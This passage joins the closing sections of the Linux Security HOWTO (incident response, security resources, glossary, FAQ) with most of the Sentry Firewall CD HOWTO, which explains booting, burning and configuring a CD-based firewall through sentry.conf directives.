If you are unable to disconnect the network (if you have a busy site, or you do not have physical control of your machines), the next best step is to use something like tcp_wrappers or ipfwadm to deny access from the intruder's site.

If you can't deny all people from the same site as the intruder, locking the user's account will have to do. Note that locking an account is not an easy thing. You have to keep in mind .rhosts files, FTP access, and a host of possible backdoors.

After you have done one of the above (disconnected the network, denied access from their site, and/or disabled their account), you need to kill all their user processes and log them off.

You should monitor your site well for the next few minutes, as the attacker will try to get back in. Perhaps using a different account, and/or from a different network address.

10.2 Security Compromise has already happened

So you have either detected a compromise that has already happened or you have detected it and locked (hopefully) the offending attacker out of your system. Now what?

Closing the Hole

If you are able to determine what means the attacker used to get into your system, you should try to close that hole. For instance, perhaps you see several FTP entries just before the user logged in. Disable the FTP service and check and see if there is an updated version, or if any of the lists know of a fix.

Check all your log files, and make a visit to your security lists and pages and see if there are any new common exploits you can fix. You can find Caldera security fixes at http://www.caldera.com/tech-ref/security/. Red Hat has not yet separated their security fixes from bug fixes, but their distribution errata is available at http://www.redhat.com/errata

Debian now has a security mailing list and web page. See: http://www.debian.org/security/ for more information.

It is very likely that if one vendor has released a security update, that most other Linux vendors will as well.

There is now a Linux security auditing project. They are methodically going through all the user-space utilities and looking for possible security exploits and overflows. From their announcement:

"We are attempting a systematic audit of Linux sources with a view to being as secure as OpenBSD. We have already uncovered (and fixed) some problems, but more help is welcome. The list is unmoderated and also a useful resource for general security discussions. The list address is: security-audit@ferret.lmh.ox.ac.uk To subscribe, send a mail to: security-audit-subscribe@ferret.lmh.ox.ac.uk"

If you don't lock the attacker out, they will likely be back. Not just back on your machine, but back somewhere on your network. If they were running a packet sniffer, odds are good they have access to other local machines.

Assessing the Damage

The first thing is to assess the damage. What has been compromised? If you are running an integrity checker like Tripwire, you can use it to perform an integrity check; it should help to tell you what has been compromised. If not, you will have to look around at all your important data.

Since Linux systems are getting easier and easier to install, you might consider saving your config files, wiping your disk(s), reinstalling, then restoring your user files and your config files from backups. This will ensure that you have a new, clean system. If you have to restore files from the compromised system, be especially cautious of any binaries that you restore, as they may be Trojan horses placed there by the intruder.

Re-installation should be considered mandatory upon an intruder obtaining root access. Additionally, you'd like to keep any evidence there is, so having a spare disk in the safe may make sense.

Then you have to worry about how long ago the compromise happened, and whether the backups hold any damaged work. More on backups later.

Backups, Backups, Backups!

Having regular backups is a godsend for security matters. If your system is compromised, you can restore the data you need from backups. Of course, some data is valuable to the attacker too, and they will not only destroy it, they will steal it and have their own copies; but at least you will still have the data.

You should check several backups back into the past before restoring a file that has been tampered with. The intruder could have compromised your files long ago, and you could have made many successful backups of the compromised file!

Of course, there are also a raft of security concerns with backups. Make sure you are storing them in a secure place. Know who has access to them. (If an attacker can get your backups, they can have access to all your data without you ever knowing it.)

Tracking Down the Intruder.

Ok, you have locked the intruder out, and recovered your system, but you're not quite done yet. While it is unlikely that most intruders will ever be caught, you should report the attack.

You should report the attack to the admin contact at the site from which the attacker attacked your system. You can look up this contact with whois or the Internic database. You might send them an email with all applicable log entries and dates and times. If you spotted anything else distinctive about your intruder, you might mention that too. After sending the email, you should (if you are so inclined) follow up with a phone call. If that admin in turn spots your attacker, they might be able to talk to the admin of the site where they are coming from and so on.

Good crackers often use many intermediate systems, some (or many) of which may not even know they have been compromised. Trying to track a cracker back to their home system can be difficult. Being polite to the admins you talk to can go a long way to getting help from them.

You should also notify any security organizations you are a part of ( CERT or similar), as well as your Linux system vendor.


Linux Security HOWTO: Security Sources

 Next Previous Contents

11. Security Sources

There are a LOT of good sites out there for Unix security in general and Linux security specifically. It's very important to subscribe to one (or more) of the security mailing lists and keep current on security fixes. Most of these lists are very low volume, and very informative.

11.1 LinuxSecurity.com References

The LinuxSecurity.com web site has numerous Linux and open source security references written by the LinuxSecurity staff and people collectively around the world.

  • Linux Advisory Watch -- A comprehensive newsletter that outlines the security vulnerabilities that have been announced throughout the week. It includes pointers to updated packages and descriptions of each vulnerability.

  • Linux Security Week -- The purpose of this document is to provide our readers with a quick summary of each week's most relevant Linux security headlines.

  • Linux Security Discussion List -- This mailing list is for general security-related questions and comments.

  • Linux Security Newsletters -- Subscription information for all newsletters.

  • comp.os.linux.security FAQ -- Frequently Asked Questions with answers for the comp.os.linux.security newsgroup.

  • Linux Security Documentation -- A great starting point for information pertaining to Linux and Open Source security.

11.2 FTP Sites

CERT is the Computer Emergency Response Team. They often send out alerts of current attacks and fixes. See ftp://ftp.cert.org for more information.

ZEDZ (formerly Replay) ( http://www.zedz.net) has archives of many security programs. Since they are outside the US, they don't need to obey US crypto restrictions.

Matt Blaze is the author of CFS and a great security advocate. Matt's archive is available at ftp://ftp.research.att.com/pub/mab

tue.nl is a great security FTP site in the Netherlands. ftp.win.tue.nl

11.3 Web Sites

  • The Hacker FAQ is a FAQ about hackers: The Hacker FAQ
  • The COAST archive has a large number of Unix security programs and information: COAST
  • SuSe Security Page: http://www.suse.de/security/
  • Rootshell.com is a great site for seeing what exploits are currently being used by crackers: http://www.rootshell.com/
  • BUGTRAQ puts out advisories on security issues: BUGTRAQ archives
  • CERT, the Computer Emergency Response Team, puts out advisories on common attacks on Unix platforms: CERT home
  • Dan Farmer is the author of SATAN and many other security tools. His home site has some interesting security survey information, as well as security tools: http://www.trouble.org
  • The Linux security WWW is a good site for Linux security information: Linux Security WWW
  • Infilsec has a vulnerability engine that can tell you what vulnerabilities affect a specific platform: http://www.infilsec.com/vulnerabilities/
  • CIAC sends out periodic security bulletins on common exploits: http://ciac.llnl.gov/cgi-bin/index/bulletins
  • A good starting point for Linux Pluggable Authentication modules can be found at http://www.kernel.org/pub/linux/libs/pam/.
  • The Debian project has a web page for their security fixes and information. It is at http://www.debian.com/security/.
  • WWW Security FAQ, written by Lincoln Stein, is a great web security reference. Find it at http://www.w3.org/Security/Faq/www-security-faq.html

11.4 Mailing Lists

Bugtraq: To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. (see links above for archives).

CIAC: Send e-mail to majordomo@tholia.llnl.gov. In the BODY (not subject) of the message put (either or both):

subscribe ciac-bulletin

Red Hat has a number of mailing lists, the most important of which is the redhat-announce list. You can read about security (and other) fixes as soon as they come out. Send email to redhat-announce-list-request@redhat.com with the Subject

Subscribe
See https://listman.redhat.com/mailman/listinfo/ for more info and archives.

The Debian project has a security mailing list that covers their security fixes. See http://www.debian.com/security/ for more information.

11.5 Books - Printed Reading Material

There are a number of good security books out there. This section lists a few of them. In addition to the security specific books, security is covered in a number of other books on system administration.

  • Building Internet Firewalls By D. Brent Chapman & Elizabeth D. Zwicky, 1st Edition September 1995, ISBN: 1-56592-124-0

  • Practical UNIX & Internet Security, 2nd Edition By Simson Garfinkel & Gene Spafford, 2nd Edition April 1996, ISBN: 1-56592-148-8

  • Computer Security Basics By Deborah Russell & G.T. Gangemi, Sr., 1st Edition July 1991, ISBN: 0-937175-71-4

  • Linux Network Administrator's Guide By Olaf Kirch, 1st Edition January 1995, ISBN: 1-56592-087-2

  • PGP: Pretty Good Privacy By Simson Garfinkel, 1st Edition December 1994, ISBN: 1-56592-098-8

  • Computer Crime A Crimefighter's Handbook By David Icove, Karl Seger & William VonStorch (Consulting Editor Eugene H. Spafford), 1st Edition August 1995, ISBN: 1-56592-086-4

  • Linux Security By John S. Flowers, New Riders; ISBN: 0735700354, March 1999

  • Maximum Linux Security : A Hacker's Guide to Protecting Your Linux Server and Network, Anonymous, Paperback - 829 pages, Sams; ISBN: 0672313413, July 1999

  • Intrusion Detection By Terry Escamilla, Paperback - 416 pages (September 1998), John Wiley and Sons; ISBN: 0471290009

  • Fighting Computer Crime, Donn Parker, Paperback - 526 pages (September 1998), John Wiley and Sons; ISBN: 0471163783


Linux Security HOWTO: Glossary

 Next Previous Contents

12. Glossary

Included below are several of the most frequently used terms in computer security. A comprehensive dictionary of computer security terms is available in the LinuxSecurity.com Dictionary

  • authentication: The process of knowing that the data received is the same as the data that was sent, and that the claimed sender is in fact the actual sender.

  • bastion Host: A computer system that must be highly secured because it is vulnerable to attack, usually because it is exposed to the Internet and is a main point of contact for users of internal networks. It gets its name from the highly fortified projects on the outer walls of medieval castles. Bastions overlook critical areas of defense, usually having strong walls, room for extra troops, and the occasional useful tub of boiling hot oil for discouraging attackers.

  • buffer overflow: Common coding style is to never allocate large enough buffers, and to not check for overflows. When such buffers overflow, the executing program (daemon or set-uid program) can be tricked in doing some other things. Generally this works by overwriting a function's return address on the stack to point to another location.

  • denial of service: An attack that consumes the resources on your computer for things it was not intended to be doing, thus preventing normal use of your network resources for legitimate purposes.

  • dual-homed Host: A general-purpose computer system that has at least two network interfaces.

  • firewall: A component or set of components that restricts access between a protected network and the Internet, or between other sets of networks.

  • host: A computer system attached to a network.

  • IP spoofing: IP Spoofing is a complex technical attack that is made up of several components. It is a security exploit that works by tricking computers in a trust relationship into thinking that you are someone that you really aren't. There is an extensive paper written by daemon9, route, and infinity in the Volume Seven, Issue Forty-Eight issue of Phrack Magazine.

  • non-repudiation: The property of a receiver being able to prove that the sender of some data did in fact send the data even though the sender might later deny ever having sent it.

  • packet: The fundamental unit of communication on the Internet.

  • packet filtering: The action a device takes to selectively control the flow of data to and from a network. Packet filters allow or block packets, usually while routing them from one network to another (most often from the Internet to an internal network, and vice-versa). To accomplish packet filtering, you set up rules that specify what types of packets (those to or from a particular IP address or port) are to be allowed and what types are to be blocked.

  • perimeter network: A network added between a protected network and an external network, in order to provide an additional layer of security. A perimeter network is sometimes called a DMZ.

  • proxy server: A program that deals with external servers on behalf of internal clients. Proxy clients talk to proxy servers, which relay approved client requests to real servers, and relay answers back to clients.

  • superuser: An informal name for root.


Linux Security HOWTO: Frequently Asked Questions

 Next Previous Contents

13. Frequently Asked Questions

  1. Is it more secure to compile driver support directly into the kernel, instead of making it a module?

    Answer: Some people think it is better to disable the ability to load device drivers using modules, because an intruder could load a Trojan module or a module that could affect system security.

    However, in order to load modules, you must be root. The module object files are also only writable by root. This means the intruder would need root access to insert a module. If the intruder gains root access, there are more serious things to worry about than whether he will load a module.

    Modules are for dynamically loading support for a particular device that may be infrequently used. On server machines, or firewalls for instance, this is very unlikely to happen. For this reason, it would make more sense to compile support directly into the kernel for machines acting as a server. Modules are also slower than support compiled directly in the kernel.

  2. Why does logging in as root from a remote machine always fail?

    Answer: See Root Security. This is done intentionally to prevent remote users from attempting to connect via telnet to your machine as root, which is a serious security vulnerability, because then the root password would be transmitted, in clear text, across the network. Don't forget: potential intruders have time on their side, and can run automated programs to find your password. Additionally, this is done to keep a clear record of who logged in, not just root.

  3. How do I enable shadow passwords on my Linux box?

    Answer:

    To enable shadow passwords, run pwconv as root, and /etc/shadow should now exist, and be used by applications. If you are using RH 4.2 or above, the PAM modules will automatically adapt to the change from using normal /etc/passwd to shadow passwords without any other change.

    Some background: shadow passwords is a mechanism for storing your password in a file other than the normal /etc/passwd file. This has several advantages. The first one is that the shadow file, /etc/shadow, is only readable by root, unlike /etc/passwd, which must remain readable by everyone. The other advantage is that as the administrator, you can enable or disable accounts without everyone knowing the status of other users' accounts.

    The /etc/passwd file is then used to store user and group names, used by programs like /bin/ls to map the user ID to the proper user name in a directory listing.

    The /etc/shadow file then only contains the user name and his/her password, and perhaps accounting information, like when the account expires, etc.

    To enable shadow passwords, run pwconv as root, and /etc/shadow should now exist, and be used by applications. Since you are using RH 4.2 or above, the PAM modules will automatically adapt to the change from using normal /etc/passwd to shadow passwords without any other change.

    Since you're interested in securing your passwords, perhaps you would also be interested in generating good passwords to begin with. For this you can use the pam_cracklib module, which is part of PAM. It runs your password against the Crack libraries to help you decide if it is too-easily guessable by password-cracking programs.

  4. How can I enable the Apache SSL extensions?

    Answer:

    1. Get SSLeay 0.8.0 or later from ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL

    2. Build and test and install it!

    3. Get Apache source

    4. Get Apache SSLeay extensions from here

    5. Unpack it in the apache source directory and patch Apache as per the README.

    6. Configure and build it.

    You might also try ZEDZ net which has many pre-built packages, and is located outside of the United States.

  5. How can I manipulate user accounts, and still retain security?

    Answer: most distributions contain a great number of tools to change the properties of user accounts.

    • The pwconv and unpwconv programs can be used to convert between shadow and non-shadowed passwords.
    • The pwck and grpck programs can be used to verify proper organization of the passwd and group files.
    • The useradd, usermod, and userdel programs can be used to add, delete and modify user accounts. The groupadd, groupmod, and groupdel programs will do the same for groups.
    • Group passwords can be created using gpasswd.

    All these programs are "shadow-aware" -- that is, if you enable shadow they will use /etc/shadow for password information, otherwise they won't.

    See the respective man pages for further information.

  6. How can I password-protect specific HTML documents using Apache?

    I bet you didn't know about http://www.apacheweek.org, did you?

    You can find information on user authentication at http://www.apacheweek.com/features/userauth as well as other web server security tips from http://www.apache.org/docs/misc/security_tips.html


Linux Security HOWTO: Conclusion

 Next Previous Contents

14. Conclusion

By subscribing to the security alert mailing lists, and keeping current, you can do a lot towards securing your machine. If you pay attention to your log files and run something like tripwire regularly, you can do even more.

A reasonable level of computer security is not difficult to maintain on a home machine. More effort is required on business machines, but Linux can indeed be a secure platform. Due to the nature of Linux development, security fixes often come out much faster than they do on commercial operating systems, making Linux an ideal platform when security is a requirement.


Linux Security HOWTO: Acknowledgments

 Next Previous Contents

15. Acknowledgments

Information here is collected from many sources. Thanks to the following who either indirectly or directly have contributed:

Rob Riggs rob@DevilsThumb.com

S. Coffin scoffin@netcom.com

Viktor Przebinda viktor@CRYSTAL.MATH.ou.edu

Roelof Osinga roelof@eboa.com

Kyle Hasselbacher kyle@carefree.quux.soltc.net

David S. Jackson dsj@dsj.net

Todd G. Ruskell ruskell@boulder.nist.gov

Rogier Wolff R.E.Wolff@BitWizard.nl

Antonomasia ant@notatla.demon.co.uk

Nic Bellamy sky@wibble.net

Eric Hanchrow offby1@blarg.net

Robert J. Berger rberger@ibd.com

Ulrich Alpers lurchi@cdrom.uni-stuttgart.de

David Noha dave@c-c-s.com

Pavel Epifanov. epv@ibm.net

Joe Germuska. joe@germuska.com

Franklin S. Werren fswerren@bagpipes.net

Paul Rusty Russell <Paul.Russell@rustcorp.com.au>

Christine Gaunt <cgaunt@umich.edu>

lin bhewitt@refmntutl01.afsc.noaa.gov

A. Steinmetz astmail@yahoo.com

Jun Morimoto morimoto@xantia.citroen.org

Xiaotian Sun sunx@newton.me.berkeley.edu

Eric Hanchrow offby1@blarg.net

Camille Begnis camille@mandrakesoft.com

Neil D neild@sympatico.ca

Michael Tandy Michael.Tandy@BTInternet.com

Tony Foiani tkil@scrye.com

Matt Johnston <mattj@flashmail.com>

Geoff Billin gbillin@turbonet.com

Hal Burgiss hburgiss@bellsouth.net

Ian Macdonald <ian@linuxcare.com>

M.Kiesel <m.kiesel@iname.com>

Mario Kratzer kratzer@mathematik.uni-marburg.de

Othmar Pasteka pasteka@kabsi.at

Robert M rom@romab.com

Cinnamon Lowe clowe@cinci.rr.com

The following have translated this HOWTO into various other languages!

A special thank you to all of them for help spreading the Linux word...

Polish: Ziemek Borowski ziembor@FAQ-bot.ZiemBor.Waw.PL

Japanese: FUJIWARA Teruyoshi fjwr@mtj.biglobe.ne.jp

Indonesian: Tedi Heriyanto 22941219@students.ukdw.ac.id

Korean: Bume Chang Boxcar0001@aol.com

Spanish: Juan Carlos Fernandez piwiman@visionnetware.com

Dutch: "Nine Matthijssen" nine@matthijssen.nl

Norwegian: ketil@vestby.com ketil@vestby.com

Turkish: tufan karadere tufank@metu.edu.tr


Sentry Firewall CD HOWTO

Stephen A. Zarkos, Obsid@Sentry.net

v1.0, 2002-03-20

This document is designed as an introduction on how the Sentry Firewall CDROM works and how to get started using the system.

1. Introduction

  • 1.1 What is the Sentry Firewall CD?
  • 1.2 Why would I use a CD-based firewall or server?
  • 1.3 I'm a Linux newbie, will Sentry Firewall CD be a good choice for me?
  • 1.4 Minumum Requirements
  • 1.5 Copyrights and Disclaimer

2. How the CD Works (Overview)

  • 2.1 The boot process
  • 2.2 ISOLINUX
  • 2.3 The CD Configuration scripts

3. Obtaining the CDROM

  • 3.1 Downloading
  • 3.2 Purchasing
  • 3.3 Burning the CDROM

4. Using the Sentry Firewall CDROM

  • 4.1 Introduction
  • 4.2 The sentry.conf file
  • 4.3 Network Configuration
  • 4.4 Other Useful Configuration Directives
  • 4.5 Putting it all together, managing multiple nodes from a single location.
  • 4.6 Example sentry.conf and disk images

5. Overview of Available Configuration Directives

  • 5.1 Replacing rc/config files
  • 5.2 'device' directive support
  • 5.3 'nameserver' directive
  • 5.4 'include' directive
  • 5.5 Copying files (|=)
  • 5.6 Making Symlinks (=>)
  • 5.7 'cdrom' directive
  • 5.8 'cron' directive
  • 5.9 hostname

6. Building a Custom Sentry CD

  • 6.1 Introduction
  • 6.2 The development system(How I do it)
  • 6.3 The RAMdisk Image
  • 6.4 Making the ISO Image

7. More Information

  • 7.1 Mailing List
  • 7.2 Frequently Asked Questions
  • 7.3 About Sentry Network Security


Sentry Firewall CD HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the long-overdue Sentry Firewall CDROM howto. I hope this document helps get you started using the Sentry Firewall CD and answers any questions you might have regarding how the system works. The most current version of this howto can be obtained at the following URL: http://www.SentryFirewall.com/files/howto/.

If you would like to add anything to this document, or if you have any questions or comments please feel free to email me, Obsid@Sentry.net.

1.1 What is the Sentry Firewall CD?

The Sentry Firewall CD is a Linux-based bootable CDROM suitable for use in a variety of different operating environments. The system is designed to be configured dynamically via a floppy disk or over a network. This allows one to configure the system dynamically, eventho much of the actual system is on read-only(CDROM) media.

1.2 Why would I use a CD-based firewall or server?

There are several advantages of using a CDROM based system in various security related environments. The main system is centered around the ramdisk; a compressed file system image which is loaded into RAM at boot time. Any changes to the ramdisk image are temporary, and will be undone upon the next reboot. Furthermore, the ramdisk, kernel, binaries, etc, related to the operating system are kept on read-only media(CDROM). This means that if the security of a box running a CDROM based system is ever compromised the attacker can at best own the box until the next reboot. So there is no real threat of having to go through the tedious task of rebuilding and hardening the system after a successful attack is discovered.

1.3 I'm a Linux newbie, will Sentry Firewall CD be a good choice for me?

At the moment, the Sentry Firewall CD is based on a pretty generic Slackware Linux system. You should probably be somewhat familiar with Linux and how to configure the system in order to get the most use out of the CD. But, even if you are a Linux newbie, I encourage you to give it a shot anyway - it's free, after all.

But, basically, there are no GUIs, no scripts to do it for you. The idea behind the configuration of the CD is that you are able to reconfigure the system by replacing the startup scripts and the various system and configuration files present on the system at boot time. Most of these are simply text files and shell scripts that you need to edit by hand in order to configure properly. There are, however, usually plenty of resources available to assist you in configuring a specific service or daemon(HOWTOs on linux.org, for example).

1.4 Minumum Requirements

  • x86 computer with CD-ROM
  • BIOS that supports the eltorito standard(booting from the cdrom).
  • 32MB RAM(64MB or more recommended)
  • Easy access to coffee/tea/soda or equivalent stimulant.
  • Floppy disk drive(optional)

1.5 Copyrights and Disclaimer

The current copyright and disclaimer can be found on the website; http://www.SentryFirewall.com/files/COPYRIGHT. It applies to the Sentry Firewall CD, and all the scripts and documentation associated with it.


Sentry Firewall CD HOWTO: How the CD Works (Overview)

 Next Previous Contents

2. How the CD Works (Overview)

This section is just an overview to explain how the Sentry Firewall CD works, that is, from the process of loading the kernel to running the Sentry Firewall CD configuration scripts located on the RAMDisk.

2.1 The boot process

Booting from the CDROM is a fairly familiar process. The BIOS execs the bootloader(Syslinux) - which then displays a bootprompt and loads the kernel and ramdisk into memory. Once the kernel is running, the ramdisk is then mounted as root(/).

An obvious necessity for deploying CDROM based systems is the ability to dynamically configure the system for various environments with different configurations, which is what a good majority of this project is dedicated to building. A simple way to do this is to give the user the ability to customize the startup scripts located in /etc/rc.d before they are actually used, as well as the ability to customize other important system configuration files.

At boot time, the /etc and /etc/rc.d directories are nearly empty. On a Slackware system the first rc file to run is /etc/rc.d/rc.S - and it is from this file where we run the configuration scripts that look for a configuration file(sentry.conf), and place the proper configuration and system files in /etc and various subdirectories under /etc. If there is not a configuration directive for a specific file, or if a configuration file cannot be found, then the default system files are used - which are located in /etc/default/* on the ramdisk.

2.2 ISOLINUX

Early versions of the Sentry Firewall CD utilized the 2.88MB floppy emulation method, along with either lilo or syslinux to boot the kernel and load the ramdisk. This method proved very limiting for two reasons; A) the total size of the compressed ramdisk AND kernel was limited to 2.88MB, and B) it was quite slow compared to the current method.

The Sentry Firewall CD is currently utilizing the isolinux.bin boot record with no emulation in order to properly boot the CDs. This allows us to use a much larger ramdisk and offer a choice of several kernels to boot at boot time.

More information about syslinux can be found at syslinux.zytor.com.

2.3 The CD Configuration scripts

As previously mentioned, the first rc script to run on a Slackware system is called /etc/rc.d/rc.S. It is from this file where we run our configuration scripts, which reside in /etc/rc.d/SENTRY/ on the ramdisk. The first script to run is called 'cd-config.pl', which is essentially the mainline for the entire program. The other scripts that are used are called 'get_config.pl', 'process_conf.pl', and 'networking.pl'. These scripts were written specifically for this project, and are essentially the mainstay of the entire configuration process.

In depth review of these scripts is a little beyond the scope of this document, but is covered a bit in the file called 'DOCUMENTATION' available on the website ( http://www.SentryFirewall.com/). The files are written in perl, and do several important things; read in and parse the configuration file(sentry.conf), locate and retrieve the important files detailed in the sentry.conf file, and replace the system default files with the ones the user has defined in the configuration file.


Sentry Firewall CD HOWTO: Obtaining the CDROM

 Next Previous Contents

3. Obtaining the CDROM

3.1 Downloading

The CDROM is distributed as a gzip or bzip2 compressed iso image, and is generally between 95-105MB in size. Available download mirrors are listed on the websites, http://www.SentryFirewall.com/ or http://Sentry.Sourceforge.net/.

3.2 Purchasing

The Sentry Firewall CD is also available for purchase over the web. Although the iso image is free to use and distribute, purchasing the CD will help support the project and help ensure continued development. For more information please visit http://www.SentryFirewall.com/purchase/

Custom versions of the CD tailored to a specific network configuration are also available upon request. Please email me for more information.

3.3 Burning the CDROM

This section will attempt a general overview on how to burn the CD iso image once you have obtained it from one of the mirrors. All the commands presume you're working in Linux, if not, then I'm afraid you're on your own.

First, let's decompress the iso image:
NOTE: Make sure you have enough disk space, the decompressed iso image can be somewhere between 250MB and 300MB.

blah@wherever:~$ gzip -d sentrycd.iso.gz

or

blah@wherever:~$ bzip2 -d sentrycd.iso.bz2

Verify the integrity of the iso image,

blah@wherever:~$ md5sum -b sentrycd.iso

Now, let's try to burn the CD. You'll need the 'cdrecord' utility available, it can be obtained here. You will want to run 'cdrecord -scanbus' in order to find the 'dev' value required for the following command. You will also need to know the write speed of your CDRW. Details on how to set this all up are beyond the scope of this document, please refer to the CD Writing HOWTO for more details.

blah@wherever:~$ DEV="DEV_LINE_HERE" SPEED="SPEED"
blah@wherever:~$ cdrecord -v -data speed=$SPEED dev=$DEV sentrycd.iso

That's it, you now have a Sentry Firewall CDROM. By the way, you may have to be root to do all this.

Keep in mind, if you simply want to look at the ISO image without actually burning the CD, you can mount the image on a loopback device;

blah@wherever:~$ mount -o loop ./sentrycd.iso /MOUNT_POINT

Where "MOUNT_POINT" is where you would like the CD mounted. You may then 'cd' to the MOUNT_POINT directory and poke around - don't forget to 'umount' the image once you're finished. This assumes you have support in your kernel for the loopback device. You probably do, but once again, recompiling kernels is beyond the scope of this document.


Sentry Firewall CD HOWTO: Using the Sentry Firewall CDROM

 Next Previous Contents

4. Using the Sentry Firewall CDROM

4.1 Introduction

The configuration scripts which are run from /etc/rc.d/rc.S first look for a configuration file called 'sentry.conf' on a floppy disk which, if present, will be mounted on /floppy. In order to configure the Linux system for use in any particular environment the user must have the ability to replace the system default files with his/her own copies. The 'sentry.conf' file basically tells the configuration scripts which files it should replace and where those files are.

A good example of a sentry.conf file can be found on the Sentry Firewall CD in the directory /SENTRY/scripts/cd-config/. Configuration floppy disk images(1.44M) can also be found in /SENTRY/images/ on the CD.

4.2 The sentry.conf file

The main configuration file for the system is called 'sentry.conf'. It will first be looked for on a floppy disk(/dev/fd0). The file accepts several configuration directives, many of which will be discussed below.

Example

A basic configuration file looks like the following (everything after a '#' sign is interpreted as a comment):

----snip----
## Basic Sentry Firewall CD config file(sentry.conf)

rc.M = /floppy/config1/rc.M
rc.inet1 = /floppy/config1/rc.inet1

passwd = /floppy/config1/passwd
shadow = /floppy/config1/shadow

# EOF #
----snip----

The syntax is pretty simple, the default 'rc.M' file will be replaced with the user defined 'rc.M' file located in the '/floppy/config1/' directory. Same goes for 'rc.inet1', 'passwd', and the 'shadow' file. But it is imortant to remember, the first place the sentry.conf file will be looked for is on /dev/fd0, which if found, will be mounted on /floppy. This is why all these files appear to be located in the /floppy directory, it is simply the mount point for the floppy disk.

Unfortunately, you cannot arbitrarily replace files, for example the following will likely not be parsed correctly:

     foo.conf = /floppy/config1/foo.conf

The configuration scripts only recognize a certain number of configuration files. There are other very easy ways to replace files that are not supported by default, however. These will be discussed below.

4.3 Network Configuration

As of version 1.0.5, a new syntax for the configuration directives are recognized; those with an "http://" or "ftp://" prefix. This basically means that the following syntax is now supported:

     inetd.conf = ftp://user:pass@123.123.123.123/config1/inetd.conf

In order to accomplish this the configuration scripts need to have the ability to set up an ethernet interface, as well as obtain nameserver information from the sentry.conf file. The syntax to accomplish this is the following:

     device{1..10} = <device>:<driver>:<IP address>[|Gateway_IP]

     or..

     device{1..10} = <device>:<driver>:dhcp[|Hostname]

And to set up a nameserver:

     nameserver = <IP_ADDRESS>

So, for example to set up an interface called "eth0", which uses the "tulip" driver and can obtain its ip address from a DHCP server, we can use the following line:

     device1 = eth0:tulip:dhcp

As you can see, a total of 10 devices are allowed. Let's say we now want to set up an interface "eth1" that uses an "rtl8139" chip, and has a static IP(192.168.1.2) and a default gateway(192.168.1.1):

     device2 = eth1:8139too:192.168.1.2|192.168.1.1

NOTE: It is important to keep in mind that whatever devices you set up during the configuration process will be promptly taken down after the configuration is complete. This setup is only used so you can retrieve configuration files over the network, via http and ftp. For more permanant network configuration, please use the rc.inet1 file.

Example

----snip----
## Basic Sentry Firewall CD config file to retrieve files via http or ftp.

device1 = eth0:tulip:192.168.1.2|192.168.1.1
nameserver = <MY_DNS_IP>

rc.M = ftp://user:pass@config.sentry.net/node1/rc.M
rc.inet1 = http://user:pass@config.sentry.net/all_nodes/rc.inet1

passwd = http://user:pass@config.sentry.net/all_nodes/passwd
shadow = ftp://user:pass@config.sentry.net/node1/shadow

# EOF #
----snip----

4.4 Other Useful Configuration Directives

Copy file /floppy/someconfig.conf to /etc/someconfig.conf -

     /floppy/someconfig.conf |= /etc/someconfig.conf

     OR, this does the same thing.

     /etc/someconfig.conf = /floppy/someconfig.conf

Make a symlink called /etc/someconfig.conf that points to /etc/otherconfig.conf -

     /etc/someconfig.conf => /etc/otherconfig.conf

The include directive. Grabs another sentry.conf file either from another location -

     include = ftp://user:pass@config.sentry.net/node1/sentry.conf

Keep in mind, however, that the include directive is one of the first directives to be parsed. Any configuration directives parsed from the included sentry.conf file that conflict with directives in the previously parsed sentry.conf files will clobber the old ones.

4.5 Putting it all together, managing multiple nodes from a single location.

In order to manage multiple nodes at a single location, you can use a bare sentry.conf file located on a floppy disk, and then grab files from your ftp or http servers.

----snip----
## Basic Sentry Firewall CD config file.

device1 = eth0:tulip:dhcp
nameserver = <DNS_IP>
include = ftp://user:pass@config.sentry.net/node1/sentry.conf

----snip----

The included sentry.conf file will then be parsed, and files replaced via http or ftp if you like. You can now edit your sentry.conf and configuration files at a central location.

4.6 Example sentry.conf and disk images

An example configuration disk image is available on the CDROM. The disk is an ext2 formatted disk, and is located in the '/SENTRY/images/' directory on the CD. There is also a very complete sentry.conf file on the disk which may help clarify alot of these directives. Use a command like the following to create the configuration disk:

blah@wherever:~$ dd if=/cdrom/SENTRY/images/ext2-144.img of=/dev/fd0
2880+0 records in
2880+0 records out


Sentry Firewall CD HOWTO: Overview of Available Configuration Directives

 Next Previous Contents

5. Overview of Available Configuration Directives

5.1 Replacing rc/config files

To replace a file that is supported by the configuration scripts, you may use the following syntax:

     filename = /location/of/filename
Where the location of the file is often '/floppy/filename'

The following rc/config files are currently supported

rc.M
rc.netdevice
rc.inet1
rc.inet2
rc.local
rc.modules
rc.firewall
rc.firewall.nat
fstab
passwd
shadow
group
shells
profile
resolv.conf
hosts
ftpusers
hostname
newsyslog.conf
openssl.cnf
syslog.conf
syslog-ng.conf
inetd.conf
proftpd.conf
squid.conf
httpd.conf
smb.conf
snort.conf
pptpd.conf
pppoe.conf
gated.conf
zebra.conf
hosts.equiv
shosts.equiv
ssh_config
sshd_config
ssh_host_key
ssh_host_key.pub
ssh_host_dsa_key
ssh_host_dsa_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub
ssh_known_hosts
ssh_known_hosts2

To replace files not supported by the configuration scripts, use the '|=' file copy directive discussed below.

5.2 'device' directive support

Set up an ethernet device to use during configuration.

     device[#] = [device_name]:[driver_name]:[IP_Address]<|gateway>
     device[#] = [device_name]:[driver_name]:dhcp<|hostname>

     NOTE: 1) <hostname> and <gateway> are optional, but sometimes required.
           2) Most ethernet devices are supported.  If you find one that isn't
              and you think it should be, please let me know.
           3) "device1" to "device10" are supported.

Examples:
     device1 = eth0:tulip:192.168.1.50|192.168.1.1
     device2 = eth1:via-rhine:dhcp

5.3 'nameserver' directive

Set up a nameserver to use during configuration.

     nameserver = <DNS_IP>

5.4 'include' directive

Retrieve and parse another 'sentry.conf' file.

     include = </location/of/sentry.conf>

     Or, with network support -

     include = <ftp|http>://[<user>:<pass>@]<SERVER_IP></path/to/sentry.conf>

5.5 Copying files (|=)

Copy file from one location to the other.

     Syntax: source_file |= dest_file

Example:
     Copy file /floppy/daemon.conf to /etc/daemon.conf
     /floppy/daemon.conf |= /etc/daemon.conf

5.6 Making Symlinks (=>)

Create a symlink

     Syntax: dest_file => source_file(where the symlink points to)

Example:
     Make symlink called /etc/somefile.conf that points to /etc/otherfile.conf
     /etc/somefile.conf => /etc/otherfile.conf

5.7 'cdrom' directive

